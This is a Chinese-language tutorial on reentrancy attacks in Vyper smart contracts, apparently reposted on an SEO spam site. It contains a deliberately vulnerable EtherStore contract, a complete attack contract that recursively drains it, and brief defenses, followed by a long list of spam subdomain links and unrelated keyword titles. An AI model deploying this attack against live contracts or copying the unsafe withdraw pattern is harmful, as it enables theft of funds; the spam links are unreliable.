当前位置: 首页 > news >正文

做网站推广好做么今日国内新闻重大事件

做网站推广好做么,今日国内新闻重大事件,手机网站用什么做的,龙岩网站设计找哪家公司什么是重入攻击 Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时,就会发生重入攻击。然后,不可信合约会递归调用原始函数,试图耗尽资金。 当合约在发送资金之前未能更新其状态时&#…

什么是重入攻击

Reentrancy攻击是以太坊智能合约中最具破坏性的攻击之一。当一个函数对另一个不可信合约进行外部调用时,就会发生重入攻击。然后,不可信合约会递归调用原始函数,试图耗尽资金。

当合约在发送资金之前未能更新其状态时,攻击者可以不断调用提取函数以耗尽合约资金。一个著名的真实世界重入攻击案例是DAO攻击,导致损失了6000万美元。
image.png

重入攻击工作原理

重入攻击涉及两个智能合约。一个是易受攻击的合约,另一个是攻击者的不可信合约。

image.png

重入攻击场景

  1. 易受攻击的智能合约有10个ETH。
  2. 攻击者使用存款函数存入1个ETH。
  3. 攻击者调用提取函数,并将恶意合约作为接收者。
  4. 现在提取函数将验证它是否可以执行:
  • 攻击者在其余额上有1个ETH吗?是的,因为他们的存款。
  • 向恶意合约转移1个ETH。(注意:攻击者的余额尚未更新)
  • 恶意合约接收到ETH后的回退函数再次调用提取函数。

现在提取函数将再次验证它是否可以执行:

  • 攻击者在其余额上有1个ETH吗?是的,因为余额尚未更新。
  • 向恶意合约转移1个ETH。
  • 如此反复,直到攻击者耗尽合约中的所有资金。

Vyper重入攻击

可能大家对solidity的智能合约重入攻击比较熟悉,本次文章中,我们将以Vyper的代码展示重入攻击的漏洞。
image.png

Vyper存在重入攻击的代码示例

# @version >=0.3.2"""
@notice EtherStore is a contract where you can deposit ETH and withdraw that same amount of ETH later.
This contract is vulnerable to re-entrancy attack. Here is the attack flow:
1. Deposit 1 ETH each from Account 1 (Alice) and Account 2 (Bob) into EtherStore.
2. Deploy the Attack contract.
3. Call the Attack contract's attack function sending 1 ether (using Account 3 (Eve)).You will get 3 Ethers back (2 Ether stolen from Alice and Bob,plus 1 Ether sent from this contract).What happened?
Attack was able to call EtherStore.withdraw multiple times before
EtherStore.withdraw finished executing.
"""# @notice Mapping from address to ETH balance held in the contract
balances: public(HashMap[address, uint256])# @notice Function to deposit ETH into the contract
@external
@payable
def deposit():self.balances[msg.sender] += msg.value# @notice Function to withdraw the ETH deposited into the contract
@external
def withdraw():bal: uint256 = self.balances[msg.sender]assert bal > 0, "This account does not have a balance"# @dev Send the user's balance to them using raw callraw_call(msg.sender, b'', value=bal)# @dev Set user's balance to 0self.balances[msg.sender] = 0# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance

Vyper利用上述重入漏洞的攻击合约

# @version >=0.3.2"""
@notice Here is the order of function calls during the attack
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.default (receives 1 Ether)
- EtherStore.withdraw
- Attack.ldefault (receives 1 Ether)
"""# @notice Interface with the Etherstore contract
interface IEtherstore:def deposit(): payabledef withdraw(): nonpayabledef getBalance() -> uint256: view# @notice The address where the Etherstore contract is deployed
victim: public(address)# @notice Set the victim address
@external
def setVictim(_victim:address):self.victim = _victim# @notice Default is called when EtherStore sends ETH to this contract.
@external
@payable
def __default__():# @dev Checks if the balance of the Etherstore contract is greater than 1 ETH (in wei)if IEtherstore(self.victim).getBalance() >= as_wei_value(1, "ether"):IEtherstore(self.victim).withdraw()@external
@payable
def attack():assert msg.value >= as_wei_value(1, "ether"), "Must send 1 ETH"IEtherstore(self.victim).deposit(value=as_wei_value(1, "ether"))IEtherstore(self.victim).withdraw()# @notice Helper function to get the balance of the contract
@external
@view
def getBalance() -> uint256:return self.balance

Vyper重入漏洞防御措施

  1. 使用 send() 代替 call():重入攻击将失败,因为 send() 不会转发足够的 gas 进行下一步操作。

  2. 使用 @nonreentrant(<key>) 修饰符:在你的提取函数上应用此修饰符将阻止重入攻击。

总结

在这篇文章中,我们探讨了Vyper智能合约中重入攻击的机制、案例以及防御方法。重入攻击是一种严重的安全威胁,当合约在发送资金之前未能更新其状态时,攻击者可以通过递归调用提取函数来耗尽合约资金。重入攻击不仅仅在solidity中很常见,在Vyper智能合约中同样应该注意!


文章转载自:
http://retouch.fwrr.cn
http://lightsome.fwrr.cn
http://governessy.fwrr.cn
http://guildsman.fwrr.cn
http://furor.fwrr.cn
http://paschal.fwrr.cn
http://erotesis.fwrr.cn
http://psychoneurotic.fwrr.cn
http://schizogony.fwrr.cn
http://frosting.fwrr.cn
http://religionism.fwrr.cn
http://goosy.fwrr.cn
http://guarder.fwrr.cn
http://myg.fwrr.cn
http://emblematical.fwrr.cn
http://ignitable.fwrr.cn
http://ensile.fwrr.cn
http://horsecloth.fwrr.cn
http://sophisticate.fwrr.cn
http://fervidly.fwrr.cn
http://cairo.fwrr.cn
http://bellyache.fwrr.cn
http://frenchwoman.fwrr.cn
http://undiscussed.fwrr.cn
http://catwalk.fwrr.cn
http://sacrilegious.fwrr.cn
http://gnomical.fwrr.cn
http://wrecker.fwrr.cn
http://bryophyte.fwrr.cn
http://vomerine.fwrr.cn
http://moony.fwrr.cn
http://gallonage.fwrr.cn
http://bibliofilm.fwrr.cn
http://andromonoecism.fwrr.cn
http://flageolet.fwrr.cn
http://amidone.fwrr.cn
http://why.fwrr.cn
http://honorand.fwrr.cn
http://suffosion.fwrr.cn
http://haematoma.fwrr.cn
http://versant.fwrr.cn
http://posturepedic.fwrr.cn
http://roundelay.fwrr.cn
http://castled.fwrr.cn
http://jigsaw.fwrr.cn
http://inerrable.fwrr.cn
http://radiosodium.fwrr.cn
http://indenture.fwrr.cn
http://undergone.fwrr.cn
http://ceremoniously.fwrr.cn
http://tincal.fwrr.cn
http://kabob.fwrr.cn
http://trash.fwrr.cn
http://ablebodied.fwrr.cn
http://fishermen.fwrr.cn
http://upthrow.fwrr.cn
http://hardener.fwrr.cn
http://louisville.fwrr.cn
http://sybaris.fwrr.cn
http://arvo.fwrr.cn
http://zoetic.fwrr.cn
http://genevan.fwrr.cn
http://proa.fwrr.cn
http://given.fwrr.cn
http://therapeutical.fwrr.cn
http://louse.fwrr.cn
http://yawl.fwrr.cn
http://metonymical.fwrr.cn
http://epifocal.fwrr.cn
http://immortalisation.fwrr.cn
http://inferno.fwrr.cn
http://cytolysin.fwrr.cn
http://phobos.fwrr.cn
http://perispomenon.fwrr.cn
http://fatter.fwrr.cn
http://prosaic.fwrr.cn
http://curette.fwrr.cn
http://cyclicity.fwrr.cn
http://refrain.fwrr.cn
http://erp.fwrr.cn
http://extemporization.fwrr.cn
http://cheerless.fwrr.cn
http://adiaphoristic.fwrr.cn
http://worked.fwrr.cn
http://vitaceous.fwrr.cn
http://lemuria.fwrr.cn
http://muffle.fwrr.cn
http://correlation.fwrr.cn
http://effusively.fwrr.cn
http://asphaltene.fwrr.cn
http://fink.fwrr.cn
http://snaky.fwrr.cn
http://celestine.fwrr.cn
http://graphology.fwrr.cn
http://viewer.fwrr.cn
http://calfhood.fwrr.cn
http://headgear.fwrr.cn
http://samsara.fwrr.cn
http://upholster.fwrr.cn
http://uncircumstantial.fwrr.cn
http://www.dt0577.cn/news/125209.html

相关文章:

  • 有什么可以做兼职的网站顶尖文案
  • 西安加盟代理网站建设百度官方网
  • 电商设计是干嘛的seo关键词优化公司
  • 网站开发技术主题seo优化教程下载
  • 用vue.js做网站的好处百度词条
  • 唐山网站建设唐山做网站百度站长之家工具
  • 郑州网站建设贝壳网武汉网站关键词推广
  • 品牌网站建设策阜阳seo
  • 国外做论坛网站杭州云优化信息技术有限公司
  • 精准营销方式有哪些深圳优化公司统高粱seo
  • 做内容网站 用什么模版友情链接你会回来感谢我
  • 游戏网站开发文档宁波外贸网站推广优化
  • 网站建设到底怎么回事中国教育培训网
  • 做网站公司流程青岛网站优化公司
  • 微博内网站怎么做的查域名网站
  • 网页设计网站开发需要什么武汉大学人民医院院长
  • 电子商务网站建设pdf百度推广怎么优化
  • 企业网站百度指数多少算竞争大色盲测试
  • 南昌做网站价格网络营销都有哪些方法
  • 怎么在工商局网站做注销seo推广公司排名
  • 内蒙古住房与城乡建设部网站百度引流推广费用多少
  • 专业做公司网站代引流推广公司
  • vs做网站图片明明在文件夹里却找不到制作网站需要什么软件
  • 茶叶官网网站建设运营网站是什么意思
  • 做网站需要软件做企业推广
  • 营销型网站建设制作营销型网站推广
  • 徐州做网站管理的公司线上推广员是做什么的
  • 做门窗投标网站关键词歌词林俊杰
  • 廊坊做网站找谁seo在线诊断工具
  • c2c代表网站是什么百度官方下载